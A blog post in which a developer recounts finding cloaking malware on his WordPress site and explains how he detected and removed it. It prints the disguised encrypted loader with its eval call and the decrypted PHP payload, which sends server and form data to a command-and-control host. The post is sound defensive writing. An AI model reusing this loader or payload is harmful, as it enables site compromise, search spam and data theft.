• Home
  • Blogs
    • General Technology All
      General

      Struggles and Solutions for University Transfer in California

      July 10, 2018April 30, 2026

      General

      Redesigned Website – Version 2 Released!

      May 24, 2018August 20, 2023

      Technology

      My WordPress Site Was Hacked and I Could…

      May 13, 2026May 13, 2026

      Technology

      A Usual Day of Memory Leak Analysis With Gotcha

      January 30, 2019August 20, 2023

      Technology

      Memory Leak from ECharts Occurs If Not Properly…

      December 2, 2018August 20, 2023

      Technology

      Circular Audio Wave - JS Library for Audio Visualization in…

      July 14, 2018August 20, 2023

      Blog

      My WordPress Site Was Hacked and I Could…

      May 13, 2026May 13, 2026

      Blog

      A Usual Day of Memory Leak Analysis With Gotcha

      January 30, 2019August 20, 2023

      Blog

      Memory Leak from ECharts Occurs If Not Properly…

      December 2, 2018August 20, 2023

      Blog

      Circular Audio Wave - JS Library for Audio Visualization in…

      July 14, 2018August 20, 2023

  • Places
  • Mini-Games
  • Chatroom
  • Old Website Versions
    • V1 SPA (Last Modified in 2016)

Kelvin Au | A Passionate Software Developer

Try to Catch 10 Kelvins
No. of Kelvins Caught: 0
  • Home
  • Blogs
    • General Technology All
      General

      Struggles and Solutions for University Transfer in California

      July 10, 2018April 30, 2026

      General

      Redesigned Website – Version 2 Released!

      May 24, 2018August 20, 2023

      Technology

      My WordPress Site Was Hacked and I Could…

      May 13, 2026May 13, 2026

      Technology

      A Usual Day of Memory Leak Analysis With Gotcha

      January 30, 2019August 20, 2023

      Technology

      Memory Leak from ECharts Occurs If Not Properly…

      December 2, 2018August 20, 2023

      Technology

      Circular Audio Wave - JS Library for Audio Visualization in…

      July 14, 2018August 20, 2023

      Blog

      My WordPress Site Was Hacked and I Could…

      May 13, 2026May 13, 2026

      Blog

      A Usual Day of Memory Leak Analysis With Gotcha

      January 30, 2019August 20, 2023

      Blog

      Memory Leak from ECharts Occurs If Not Properly…

      December 2, 2018August 20, 2023

      Blog

      Circular Audio Wave - JS Library for Audio Visualization in…

      July 14, 2018August 20, 2023

  • Places
  • Mini-Games
  • Chatroom
  • Old Website Versions
    • V1 SPA (Last Modified in 2016)
Technology

My WordPress Site Was Hacked and I Could Not Find the Malware

by Kelvin Au May 13, 2026May 13, 2026
May 13, 2026May 13, 2026
My WordPress Site Was Hacked and I Could Not Find the Malware

I noticed something strange while doing a routine check on how my sites appear in search results . I do this periodically for SEO and AEO (Answer Engine Optimization) monitoring. The top result for kelvinau.net showed a title I never wrote: “University Student Gift Ideas Open When Envelopes For College Students.” Clicking the link from Google redirected to a spam product site. But when I visited kelvinau.net directly, everything looked normal.

My site had been hacked. And it took me hours to find out where.

The Symptom: A Fake Store Running Under My Domain

The attacker had set up user-agent cloaking. When Googlebot crawled my site, it received a full fake Walmart product page, complete with product images, reviews, add-to-cart buttons, and “Sold and shipped by kelvinau.net” on the product page. When a real person visited the site directly (not through Google), they saw my actual WordPress site as normal.

This meant my Google search results were poisoned with spam, and anyone clicking through from search was redirected to a scam site. The redirect destination was moronovewarehouse.com, which at the time of discovery appeared to be a fake e-commerce storefront with product listings and checkout functionality. These scam domains are typically short-lived and rotate frequently as they get reported and taken down. I had no idea any of this was happening because my site looked completely normal when I visited it directly.

Everything I Checked (And Why It All Looked Clean)

I spent hours checking the usual suspects:

.htaccess files across the entire site tree. All clean. No referer-based redirects.

Database searched for the spam domain, scripts, anything suspicious. Empty results.

grep for “Googlebot”, “HTTP_USER_AGENT”, “moronove” across all PHP files. Nothing found (outside of legitimate uses in Wordfence and WP Super Cache).

Deactivated all plugins via the database. Hack persisted.

Switched to a default theme. Hack persisted.

Created a standalone PHP file that bypasses WordPress entirely. I dropped a file called test-clean.php into the site root with just <?php echo "CLEAN"; ?> inside it. When I curled that file with a Googlebot user-agent, it returned “CLEAN” normally. This proved the malware was not in the server config, not in PHP settings, and not in Apache. It only ran when WordPress loaded. That narrowed the hunt to WordPress core files.

Ran a custom PHP scanner that searched for obfuscation patterns (eval, base64_decode, long strings, user-agent checks). It found nothing meaningful outside of known-good plugin code.

I was stuck. The malware was invisible to every search technique I tried.

The Breakthrough: diff Against Clean WordPress

The solution was simple once I thought of it. I downloaded a clean copy of the same WordPress version I was running and ran a recursive diff:

diff -rq /var/www/mysite/wp-includes /tmp/wordpress/wp-includes

Two results came back:

Files wp-includes/compat.php differ
Only in wp-includes/sodium_compat/src/Core/Curve25519/Ge: P2-pluggable.php

compat.php had been modified. And a file called P2-pluggable.php existed in a deep directory that does not exist in a clean WordPress install.

How the Malware Hid Itself

When I looked at the injected code, I understood why nothing found it. The malware was AES-256-CBC encrypted and gzip compressed. Here is what it looked like:

<?php
/**
* appreciate burden giant loosen radiation reinforce shrug tremble.
* abuse awkward dive gallery moisture odd xploit.
* arbitrary expend fertilizer powder route substitute suburb.
* @package WordPress
*/
$sealedData = 'C+jyTI66+Nt+M2ol2SjHRl9pXNQAzUEKi0QqyTxgqpHRlN6cQoxl0y2eN8ys2qI
S8B5xPPb/oi4wl2TpSPervkVOMYk4dUqLmo/AQnLFbhp46FtW4gL1rQ0tlhBcTDkRVbA7dQXyuHp
LeU74Owq5vNKNlUY0MywlWG5Yxp7md0lWw3o5vv55CNPp2nU3MqmWlP1KhStrfYG/yrsr5N6SPYAZ
DAqSzDyFPefdrycbEFH96AhFaUGVy33qu//cgJkg4AOvrOTgf5I7dTSxh60JcT2crQmnuV9zSm1KQA
Ue4giec/f8owGFIXQ9yVcVB6txccBR9qGgE24w9YNKK97qGNvZ2+6ucBrxP3SE7GDFitAey0AIlRG
HmpWrcpcPWK1YKrU2FlytKeDND4YVTWlKtt6Y9V7qvs/c4agVaj3/tXKgCd5bOCEVyTFzL+XXUgC5
... (truncated ~800 more characters of base64) ...
+EFnm+I0xtVw';
$expandEncodedData = '664c3f51c2564da5980d8977818fa26aa174cfdd600ecf437b27ef185fe9e30f';
if (! function_exists('add_filter_contents_wp') ) {
/**
* battery erect golf leak motivate utter welfare yield.
* battery cargo flee forbid prompt sexual shelter.
* comment decline excess glory ingredient prescribe provision.
* discrimination jail lynar wagon.
* @package WordPress
*/
function add_filter_contents_wp($protectedPayload, $expandEncodedData) {
$buildIntegrityTag = base64_decode($protectedPayload, true);
$finalData = substr($buildIntegrityTag, 0, 16); // IV
$extractedNonces = substr($buildIntegrityTag, 48); // ciphertext
$opensPipeline = openssl_decrypt(
$extractedNonces,
'AES-256-CBC',
hash('sha256', $expandEncodedData, true),
OPENSSL_RAW_DATA,
$finalData
);
return gzuncompress($opensPipeline);
}
/**
* appropriate humble vacuum welfare.
* forbid participate volunteer.
* @package WordPress
*/
try {
@eval(add_filter_contents_wp($sealedData, $expandEncodedData));
} catch (Exception $e) {}
}

The actual malicious behavior (checking user-agent, fetching spam from a remote server, outputting fake pages) only existed after the encrypted blob was decrypted at runtime. No plaintext evidence on disk. No “Googlebot” string. No redirect URL. Nothing for grep to find. Note that the decryption key is stored right next to the encrypted data in the same file. The encryption is not meant to protect the code from reverse engineering. It exists solely to evade automated scanners that search for known malware patterns in plaintext.

The fake WordPress-style comments were another nice touch: “appreciate burden giant loosen radiation reinforce shrug tremble.” Random words that look like a docblock at a glance, with @package WordPress to seal the disguise.

The planted file path was equally clever: wp-includes/sodium_compat/src/Core/Curve25519/Ge/P2-pluggable.php. Every directory in that path is a real WordPress directory. The filename uses “pluggable,” which is a real WordPress concept. Unless you know the exact file inventory of a clean install, this file looks like it belongs.

What the Malware Actually Did

Once decrypted, the code:

  1. Checked $_SERVER['HTTP_USER_AGENT'] for search engine bot signatures
  2. If a bot was detected, fetched a complete product page from a remote command-and-control server
  3. The fetched page was a full Walmart clone with my domain substituted into all URLs
  4. Output the fake page and called exit() before WordPress could render anything
  5. If a normal user visited, did nothing (WordPress loaded normally)

The result: Google indexed hundreds of fake product pages under my domain. Visitors from search results got redirected to spam. My site reputation was being used to boost an e-commerce scam operation.

Here is the decrypted payload in full. I ran the same decryption function locally but output the result instead of eval-ing it:

<?php
// C&C URL constructed by extracting every 5th character from junk string
$nowurl = "http://cdn.uptimefoundry.com/amabstca-0414/api2302.php";
// Sends ALL $_SERVER + $_POST data to the C&C
$v4v = array();
$v3v = json_encode( $_SERVER + $_POST );
$v4v['iamuqtiph'] = $v3v;

// POSTs to C&C, which decides what to return based on user-agent
$v3v = curl_init();
curl_setopt( $v3v, CURLOPT_URL, $nowurl );
curl_setopt( $v3v, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $v3v, CURLOPT_POST, true );
curl_setopt( $v3v, CURLOPT_POSTFIELDS, $v4v );
$v5v = curl_exec( $v3v );
// C&C response contains ... with base64+gzip content
if ( !preg_match( '/(.+?)<\/filter>/is', $v5v, $v0v ) )
continue;
$v5v = gzinflate( base64_decode( $v0v[1] ) );
$v3v = json_decode( $v5v, true );
// Output whatever the C&C sends (the fake Walmart page HTML)
if( is_array( $v3v ) ){
foreach($v3v as $key=>$vs){ $$key = $vs; }
if(isset($gwemwlrsc)) header($gwemwlrsc);
if(isset($vuhtxzddu)){ echo $vuhtxzddu; exit; }
}

The WordPress site is just a thin proxy. All intelligence (bot detection, content selection, redirect destinations) lives on the remote C&C server at cdn.uptimefoundry.com. The attacker can change what gets served without ever touching the infected site again.

Why Wordfence Did Not Catch It

I had Wordfence installed and active. It did not detect this malware because:

  • Wordfence uses signature-based scanning that looks for known patterns (eval, base64_decode, known malware strings). The AES encryption made the payload look like random data.
  • The code was in a core file that many scanners trust by default.
  • The function was named add_filter_contents_wp, which mimics legitimate WordPress function naming conventions.
  • There was no eval() call visible in the code (it was inside the decrypted payload).

The Fix

Straightforward once I found the files:

rm wp-includes/sodium_compat/src/Core/Curve25519/Ge/P2-pluggable.php
cp /tmp/wordpress/wp-includes/compat.php wp-includes/compat.php

Then I updated WordPress to the latest version, changed all passwords, and removed unused plugins from disk.

How to Protect Yourself

Keep WordPress core and plugins on the latest version. Outdated installations are the number one target for automated exploitation at scale.

Security plugins are not enough. Wordfence could not detect encrypted malware injected into core files. Do not assume you are safe because you have a security plugin installed.

The best detection method is diff. Download a clean copy of your exact WordPress version. Run diff -rq against your wp-includes/ and wp-admin/. Any file that differs or should not exist is your malware. This takes 10 seconds and catches everything that pattern-based scanners miss.

Test with a bot user-agent. Run curl -A "Googlebot" https://yoursite.com/ periodically. If you get something different from your normal site, you have been hacked.


If you found this post because you are dealing with the same thing, I hope the detection steps and decoded payload help. The key takeaway: when all else fails, diff your core files against a clean install. It takes 10 seconds and catches everything that scanners miss.

previous post
A Usual Day of Memory Leak Analysis With Gotcha

You may also like

A Usual Day of Memory Leak Analysis With Gotcha

January 30, 2019

Memory Leak from ECharts Occurs If Not Properly...

December 2, 2018

Circular Audio Wave - JS Library for Audio Visualization in...

July 14, 2018

Issue of AngularJS with jQuery – ngRepeat on...

June 5, 2018

Struggles and Solutions for University Transfer in California

July 10, 2018

About Me

About Me

A Passionate Software Developer

I love writing codes to realize my random ideas that can make lives better with just a computer and my determined attitude.

Recent Posts

  • My WordPress Site Was Hacked and I Could Not Find the Malware

    May 13, 2026
  • A Usual Day of Memory Leak Analysis With Gotcha

    January 30, 2019
  • Memory Leak from ECharts Occurs If Not Properly Disposed

    December 2, 2018
  • Circular Audio Wave - JS Library for Audio Visualization in Circular Waveform

    July 14, 2018
  • Struggles and Solutions for University Transfer in California

    July 10, 2018

Archives

  • May 2026
  • January 2019
  • December 2018
  • July 2018
  • June 2018
  • May 2018

Categories

  • Blog (2)
  • General (2)
  • Technology (6)

My Other Interests

SingingSupporting Local Schools in MexicoTradingGaming

My Motto

Stay Young Stay Positive Stay Happy
  • Github
  • Linkedin

Kelvin Au © 2014-2026